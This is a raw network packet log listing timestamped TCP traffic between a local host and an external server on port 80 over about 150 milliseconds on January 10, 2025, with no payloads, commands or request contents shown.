Jan 10, 2025 19:32:32.212742090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.212742090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.212779045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212790012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212802887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212822914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.212846994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.220940113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.220971107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.220980883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.221043110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.221043110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.221055031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.221091032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.246505022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246536016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246548891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246578932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246599913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.246613979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246675014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.246701002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.246803045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246814966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246824980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246836901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246850014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.246855021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.246874094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255037069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255059958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255073071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255088091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255115032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255121946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255131960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255141973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255176067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255248070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255259991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255290985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255295992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255305052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255337000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255390882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255403042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255431890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255456924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255467892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255479097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255501986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255532026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255533934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255609989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255619049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255630016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255640030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255650043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255683899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255738974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255784988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255805969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255819082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255852938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255904913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255914927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255924940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255949974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.255983114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.255992889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256025076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256056070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256067038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256078959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256098986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256124973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256223917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256241083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256253958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256266117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256278038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256283998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256292105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256313086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256326914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256565094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256582975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256594896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256608009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256619930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256637096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256685972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256721973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256732941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256742954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256753922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256763935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256766081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256779909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256788969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256793022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256814957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256841898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.256938934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.256949902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.257004976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.259886980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.259934902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.259944916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.259965897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.259978056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.259985924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260000944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260050058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260061979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260111094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260127068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260138988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260149956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260173082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260196924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260283947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260294914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260304928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260317087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260329008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260332108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260339975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260354996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260391951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260402918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260422945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260462999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260463953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260509014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260528088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260540962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260548115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260571957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260582924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260606050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260651112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260677099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260689020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260737896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260745049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260757923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260790110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260802031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260847092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260858059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260894060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260927916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260938883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260948896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.260972977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.260996103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.261051893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261064053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261075020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261110067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.261137009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261151075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261174917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.261179924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261223078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.261250973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261300087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.261327028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.261339903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.267034054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.299434900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299455881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299464941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299506903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299520969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299576044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.299617052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299626112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.299633980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299647093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.299665928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.299702883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.307924986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.307940006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.307959080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.307971001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.307981014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.307988882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.308016062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.308022022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.308029890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.308051109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.308068037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.308092117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.308557987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.313592911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333350897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333374977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333384991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333446980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333458900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333471060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333479881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333491087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333503962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333534002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333564043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333568096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333621979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333632946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333667040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333703995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333714008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333724022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.333739042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333753109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333771944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.333837986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.338722944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342067957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342077971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342133045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342147112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342185020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342195034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342196941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342252970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342266083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342293024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342303991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342334032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342382908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342391968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342402935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342415094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342425108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342449903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342570066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342580080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342590094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342601061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342612028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342613935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342628002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342634916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342638969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342652082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342658043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342696905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342889071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342900991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342912912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342924118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342936039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342936039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342947960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342959881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342959881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342972040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.342981100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.342983007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343015909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343031883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343038082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343050003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343092918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343103886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343111038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343116045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343127966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343138933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343139887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343167067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343354940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343365908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343383074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343393087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343405962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343405962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343420029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343431950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343436956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343449116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343480110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343645096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343657017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343666077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343677044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343691111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343696117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343704939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343708992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343733072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343754053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343878984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343888998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343899012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343909979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343919992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343923092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343936920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343936920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343947887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343959093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343965054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.343970060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343981981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343993902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.343998909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.344007015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.344014883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.344038010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.344815969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.349730968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367113113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367145061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367156029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367229939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367276907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367300987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367321014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367341042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367353916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367363930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367366076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367378950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367398024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367422104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367434978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367446899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367486954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367508888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367521048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367531061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367557049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367693901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367703915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367713928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367724895 CET	80	49704	193.143.1.205	192.168.2.5
